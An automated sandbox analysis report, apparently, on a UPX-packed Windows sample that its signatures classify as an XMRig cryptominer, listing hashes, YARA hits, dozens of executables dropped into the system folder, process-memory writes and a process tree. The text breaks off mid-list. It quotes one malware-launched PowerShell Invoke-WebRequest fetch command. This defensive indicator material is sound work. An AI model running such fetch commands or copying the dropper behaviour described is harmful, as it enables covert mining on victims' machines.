xmrig | 8d80d6c8c54b7647ae514c0b2fd1fb35025304137b38df19b97a3f75aca643e3

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
24/07/2024, 08:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
Size

1.4MB
MD5

65d1d7e5d1a6a9111f462e0f092cf5f0
SHA1

60cbfcb37d17466e6fc3334e0c67923a69df15f6
SHA256

8d80d6c8c54b7647ae514c0b2fd1fb35025304137b38df19b97a3f75aca643e3
SHA512

4e5e866202e15d2d125edd1d5d9f629aa83c64fdcb122f4dad0d9e89bc1eb6b36a5c67f7f6bd5b3a7b5210cfe17bf574be117aa46a3dc6ccc589cd229695129d
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkipBh8tGxHIBWGlTqTmo6OZPCyy1MFfQfOHtyy4S0:Lz071uv4BPMkiFGlvACXaHtrj0

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral1/memory/2980-15-0x000000013F1F0000-0x000000013F5E2000-memory.dmp	xmrig
behavioral1/memory/2736-14-0x000000013FF40000-0x0000000140332000-memory.dmp	xmrig
behavioral1/memory/408-58-0x000000013FBF0000-0x000000013FFE2000-memory.dmp	xmrig
behavioral1/memory/2272-112-0x00000000035C0000-0x00000000039B2000-memory.dmp	xmrig
behavioral1/memory/2272-70-0x000000013FA10000-0x000000013FE02000-memory.dmp	xmrig
behavioral1/memory/892-105-0x000000013FFD0000-0x00000001403C2000-memory.dmp	xmrig
behavioral1/memory/2616-89-0x000000013F510000-0x000000013F902000-memory.dmp	xmrig
behavioral1/memory/2616-5073-0x000000013F510000-0x000000013F902000-memory.dmp	xmrig
behavioral1/memory/2592-5369-0x000000013F800000-0x000000013FBF2000-memory.dmp	xmrig
behavioral1/memory/2668-5394-0x000000013FC50000-0x0000000140042000-memory.dmp	xmrig
behavioral1/memory/892-5725-0x000000013FFD0000-0x00000001403C2000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2736	fWlHWWP.exe
2980	MgAcLBk.exe
2616	JbpJYil.exe
2592	IBPfhpS.exe
2632	hVYpmgp.exe
408	oBBfTDy.exe
2668	djpxJmm.exe
892	yBEwBTC.exe
2640	wGDEjvL.exe
2152	aZqlkuH.exe
2964	VxntAAw.exe
3036	zncfHgE.exe
1012	GZziBjr.exe
1884	HvySOYq.exe
3000	kChasom.exe
2212	xjxEiOB.exe
1688	JZHTFAr.exe
2904	jjWNREt.exe
2900	bpWLHga.exe
2168	HtwsXbN.exe
608	bFSWToP.exe
2188	UXWOmqj.exe
2132	QytGvIi.exe
1548	wLpDFhI.exe
968	HGKtHaL.exe
3016	mGKeGpr.exe
1008	YSHnqPE.exe
856	EwDQxiW.exe
1296	jjMbmll.exe
1648	OlByWao.exe
1036	eWUVtHF.exe
2072	sglIOFl.exe
2304	MemjdcE.exe
400	pqQFrtb.exe
2528	VdIZMqr.exe
584	FGzxGmH.exe
1964	wyhXOth.exe
1016	RshqDzt.exe
1796	hFfJEWe.exe
1760	jVlTghO.exe
1676	BljqXXm.exe
2032	PeELPvl.exe
1640	uwfmLvt.exe
1908	gJPykgy.exe
1496	kbHdRPv.exe
2060	ZBrFFLX.exe
2808	AIxhhcE.exe
2080	xTcGQPA.exe
1668	rLKDBLj.exe
2112	KjQGHgL.exe
1672	aiRdWSX.exe
372	yjdQDJX.exe
1972	wYbMYrk.exe
900	UdaLpMT.exe
2508	AgmCGYI.exe
2780	HZsSeij.exe
2576	OOADmSS.exe
3004	HqFAPVg.exe
2580	VSozQAx.exe
2928	PHfxSkK.exe
2860	slrkCRV.exe
932	GEvCJBo.exe
2652	lasGytw.exe
1960	MBnNVFQ.exe

Loads dropped DLL 64 IoCs

pid	Process
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe

UPX packed file 50 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0009000000012118-3.dat	upx
behavioral1/files/0x000600000001946f-6.dat	upx
behavioral1/memory/2980-15-0x000000013F1F0000-0x000000013F5E2000-memory.dmp	upx
behavioral1/memory/2736-14-0x000000013FF40000-0x0000000140332000-memory.dmp	upx
behavioral1/files/0x0007000000019473-8.dat	upx
behavioral1/files/0x00060000000194b4-29.dat	upx
behavioral1/memory/2616-26-0x000000013F510000-0x000000013F902000-memory.dmp	upx
behavioral1/memory/2272-2-0x000000013FA10000-0x000000013FE02000-memory.dmp	upx
behavioral1/files/0x0007000000004e74-43.dat	upx
behavioral1/memory/2632-46-0x000000013FE10000-0x0000000140202000-memory.dmp	upx
behavioral1/memory/2592-39-0x000000013F800000-0x000000013FBF2000-memory.dmp	upx
behavioral1/files/0x0006000000019505-55.dat	upx
behavioral1/memory/408-58-0x000000013FBF0000-0x000000013FFE2000-memory.dmp	upx
behavioral1/files/0x0008000000019638-62.dat	upx
behavioral1/files/0x00070000000194e5-48.dat	upx
behavioral1/files/0x000500000001a09e-75.dat	upx
behavioral1/files/0x000500000001a437-96.dat	upx
behavioral1/files/0x000500000001a435-136.dat	upx
behavioral1/files/0x000500000001a498-148.dat	upx
behavioral1/files/0x000500000001a4bb-174.dat	upx
behavioral1/files/0x000500000001a4be-180.dat	upx
behavioral1/files/0x000500000001a4c7-189.dat	upx
behavioral1/files/0x000500000001a4b8-164.dat	upx
behavioral1/files/0x000500000001a438-99.dat	upx
behavioral1/files/0x000500000001a42d-95.dat	upx
behavioral1/files/0x000500000001a322-94.dat	upx
behavioral1/files/0x000500000001a42b-83.dat	upx
behavioral1/files/0x000500000001a4b4-154.dat	upx
behavioral1/files/0x000500000001a2f1-77.dat	upx
behavioral1/files/0x000500000001a4d0-196.dat	upx
behavioral1/memory/2272-70-0x000000013FA10000-0x000000013FE02000-memory.dmp	upx
behavioral1/memory/2668-69-0x000000013FC50000-0x0000000140042000-memory.dmp	upx
behavioral1/files/0x000600000001a067-65.dat	upx
behavioral1/files/0x0030000000019448-123.dat	upx
behavioral1/files/0x000500000001a4c5-183.dat	upx
behavioral1/files/0x000500000001a4cb-193.dat	upx
behavioral1/files/0x000500000001a493-145.dat	upx
behavioral1/files/0x000500000001a485-143.dat	upx
behavioral1/files/0x000500000001a4bc-176.dat	upx
behavioral1/files/0x000500000001a4aa-171.dat	upx
behavioral1/files/0x000500000001a4ba-166.dat	upx
behavioral1/files/0x000500000001a4b6-157.dat	upx
behavioral1/files/0x000500000001a487-130.dat	upx
behavioral1/files/0x000500000001a464-107.dat	upx
behavioral1/memory/892-105-0x000000013FFD0000-0x00000001403C2000-memory.dmp	upx
behavioral1/memory/2616-89-0x000000013F510000-0x000000013F902000-memory.dmp	upx
behavioral1/memory/2616-5073-0x000000013F510000-0x000000013F902000-memory.dmp	upx
behavioral1/memory/2592-5369-0x000000013F800000-0x000000013FBF2000-memory.dmp	upx
behavioral1/memory/2668-5394-0x000000013FC50000-0x0000000140042000-memory.dmp	upx
behavioral1/memory/892-5725-0x000000013FFD0000-0x00000001403C2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\bKxfLsd.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\buuKOAP.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\VEpxGkf.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\wPGXjnM.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\UJNpFrT.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\IeCjfid.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\kYdjkQX.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\GJIDOER.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\ZzklQnU.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\dgDDCJS.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\cWdTOIO.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\LLLttaD.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\wFgVRGv.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\CxOMdIB.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\jOxYdsp.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\qExToxz.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\mAvYTZu.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\DSepiYS.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\rzKKQqj.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\rsPQZYM.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\kwwdwRr.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\KRcfZIG.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\UlatuJX.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\exdToBT.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\zkvxyFc.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\ThcozPQ.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\HUKejZi.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\OUxQTFI.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\RnlgJVr.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\slEeiQi.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\vFRFrdz.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\aqNjIRz.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\eiaEJWW.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\bKVuSBs.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\XFdkhEG.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\jBCHoDs.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\NFVuEjU.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\QtaZDIA.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\pBvnlJb.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\cAimgue.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\WhZAkLa.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\HEOqgLj.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\NCbjdFG.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\qxhOoCo.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\ekvjrmQ.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\GcGhtrk.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\AJHrbge.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\UXWOmqj.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\wQybPkq.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\XXaonlO.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\HfXXUeq.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\HOoVkmB.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\laWvpnv.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\XObniGI.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\ElBOmLu.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\MpUVAvt.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\iPWftzO.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\Cgfgsju.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\PEYeOzy.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\XRkmrfd.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\INNOHyJ.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\mKHbmIF.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\cPiZdqc.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
File created	C:\Windows\System\MrXDBEp.exe	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
Token: SeLockMemoryPrivilege	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
Token: SeDebugPrivilege	2784	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 2784	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	31
PID 2272 wrote to memory of 2784	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	31
PID 2272 wrote to memory of 2784	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	31
PID 2272 wrote to memory of 2736	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	32
PID 2272 wrote to memory of 2736	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	32
PID 2272 wrote to memory of 2736	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	32
PID 2272 wrote to memory of 2980	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	33
PID 2272 wrote to memory of 2980	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	33
PID 2272 wrote to memory of 2980	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	33
PID 2272 wrote to memory of 2616	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	34
PID 2272 wrote to memory of 2616	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	34
PID 2272 wrote to memory of 2616	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	34
PID 2272 wrote to memory of 2592	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	35
PID 2272 wrote to memory of 2592	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	35
PID 2272 wrote to memory of 2592	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	35
PID 2272 wrote to memory of 2632	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	36
PID 2272 wrote to memory of 2632	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	36
PID 2272 wrote to memory of 2632	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	36
PID 2272 wrote to memory of 1012	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	37
PID 2272 wrote to memory of 1012	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	37
PID 2272 wrote to memory of 1012	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	37
PID 2272 wrote to memory of 408	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	38
PID 2272 wrote to memory of 408	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	38
PID 2272 wrote to memory of 408	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	38
PID 2272 wrote to memory of 1884	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	39
PID 2272 wrote to memory of 1884	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	39
PID 2272 wrote to memory of 1884	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	39
PID 2272 wrote to memory of 2668	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	40
PID 2272 wrote to memory of 2668	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	40
PID 2272 wrote to memory of 2668	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	40
PID 2272 wrote to memory of 3000	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	41
PID 2272 wrote to memory of 3000	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	41
PID 2272 wrote to memory of 3000	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	41
PID 2272 wrote to memory of 892	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	42
PID 2272 wrote to memory of 892	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	42
PID 2272 wrote to memory of 892	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	42
PID 2272 wrote to memory of 2212	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	43
PID 2272 wrote to memory of 2212	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	43
PID 2272 wrote to memory of 2212	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	43
PID 2272 wrote to memory of 2640	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	44
PID 2272 wrote to memory of 2640	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	44
PID 2272 wrote to memory of 2640	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	44
PID 2272 wrote to memory of 2904	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	45
PID 2272 wrote to memory of 2904	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	45
PID 2272 wrote to memory of 2904	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	45
PID 2272 wrote to memory of 2152	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	46
PID 2272 wrote to memory of 2152	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	46
PID 2272 wrote to memory of 2152	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	46
PID 2272 wrote to memory of 2900	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	47
PID 2272 wrote to memory of 2900	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	47
PID 2272 wrote to memory of 2900	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	47
PID 2272 wrote to memory of 2964	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	48
PID 2272 wrote to memory of 2964	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	48
PID 2272 wrote to memory of 2964	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	48
PID 2272 wrote to memory of 2168	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	49
PID 2272 wrote to memory of 2168	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	49
PID 2272 wrote to memory of 2168	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	49
PID 2272 wrote to memory of 3036	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	50
PID 2272 wrote to memory of 3036	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	50
PID 2272 wrote to memory of 3036	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	50
PID 2272 wrote to memory of 608	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	51
PID 2272 wrote to memory of 608	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	51
PID 2272 wrote to memory of 608	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	51
PID 2272 wrote to memory of 1688	2272	65d1d7e5d1a6a9111f462e0f092cf5f0N.exe	52

C:\Users\Admin\AppData\Local\Temp\65d1d7e5d1a6a9111f462e0f092cf5f0N.exe
"C:\Users\Admin\AppData\Local\Temp\65d1d7e5d1a6a9111f462e0f092cf5f0N.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784
- C:\Windows\System\fWlHWWP.exe
  C:\Windows\System\fWlHWWP.exe
  2⤵
  - Executes dropped EXE
  PID:2736
- C:\Windows\System\MgAcLBk.exe
  C:\Windows\System\MgAcLBk.exe
  2⤵
  - Executes dropped EXE
  PID:2980
- C:\Windows\System\JbpJYil.exe
  C:\Windows\System\JbpJYil.exe
  2⤵
  - Executes dropped EXE
  PID:2616
- C:\Windows\System\IBPfhpS.exe
  C:\Windows\System\IBPfhpS.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\hVYpmgp.exe
  C:\Windows\System\hVYpmgp.exe
  2⤵
  - Executes dropped EXE
  PID:2632
- C:\Windows\System\GZziBjr.exe
  C:\Windows\System\GZziBjr.exe
  2⤵
  - Executes dropped EXE
  PID:1012
- C:\Windows\System\oBBfTDy.exe
  C:\Windows\System\oBBfTDy.exe
  2⤵
  - Executes dropped EXE
  PID:408
- C:\Windows\System\HvySOYq.exe
  C:\Windows\System\HvySOYq.exe
  2⤵
  - Executes dropped EXE
  PID:1884
- C:\Windows\System\djpxJmm.exe
  C:\Windows\System\djpxJmm.exe
  2⤵
  - Executes dropped EXE
  PID:2668
- C:\Windows\System\kChasom.exe
  C:\Windows\System\kChasom.exe
  2⤵
  - Executes dropped EXE
  PID:3000
- C:\Windows\System\yBEwBTC.exe
  C:\Windows\System\yBEwBTC.exe
  2⤵
  - Executes dropped EXE
  PID:892
- C:\Windows\System\xjxEiOB.exe
  C:\Windows\System\xjxEiOB.exe
  2⤵
  - Executes dropped EXE
  PID:2212
- C:\Windows\System\wGDEjvL.exe
  C:\Windows\System\wGDEjvL.exe
  2⤵
  - Executes dropped EXE
  PID:2640
- C:\Windows\System\jjWNREt.exe
  C:\Windows\System\jjWNREt.exe
  2⤵
  - Executes dropped EXE
  PID:2904
- C:\Windows\System\aZqlkuH.exe
  C:\Windows\System\aZqlkuH.exe
  2⤵
  - Executes dropped EXE
  PID:2152
- C:\Windows\System\bpWLHga.exe
  C:\Windows\System\bpWLHga.exe
  2⤵
  - Executes dropped EXE
  PID:2900
- C:\Windows\System\VxntAAw.exe
  C:\Windows\System\VxntAAw.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\HtwsXbN.exe
  C:\Windows\System\HtwsXbN.exe
  2⤵
  - Executes dropped EXE
  PID:2168
- C:\Windows\System\zncfHgE.exe
  C:\Windows\System\zncfHgE.exe
  2⤵
  - Executes dropped EXE
  PID:3036
- C:\Windows\System\bFSWToP.exe
  C:\Windows\System\bFSWToP.exe
  2⤵
  - Executes dropped EXE
  PID:608
- C:\Windows\System\JZHTFAr.exe
  C:\Windows\System\JZHTFAr.exe
  2⤵
  - Executes dropped EXE
  PID:1688
- C:\Windows\System\UXWOmqj.exe
  C:\Windows\System\UXWOmqj.exe
  2⤵
  - Executes dropped EXE
  PID:2188
- C:\Windows\System\QytGvIi.exe
  C:\Windows\System\QytGvIi.exe
  2⤵
  - Executes dropped EXE
  PID:2132
- C:\Windows\System\mGKeGpr.exe
  C:\Windows\System\mGKeGpr.exe
  2⤵
  - Executes dropped EXE
  PID:3016
- C:\Windows\System\wLpDFhI.exe
  C:\Windows\System\wLpDFhI.exe
  2⤵
  - Executes dropped EXE
  PID:1548
- C:\Windows\System\sglIOFl.exe
  C:\Windows\System\sglIOFl.exe
  2⤵
  - Executes dropped EXE
  PID:2072
- C:\Windows\System\HGKtHaL.exe
  C:\Windows\System\HGKtHaL.exe
  2⤵
  - Executes dropped EXE
  PID:968
- C:\Windows\System\hFfJEWe.exe
  C:\Windows\System\hFfJEWe.exe
  2⤵
  - Executes dropped EXE
  PID:1796
- C:\Windows\System\YSHnqPE.exe
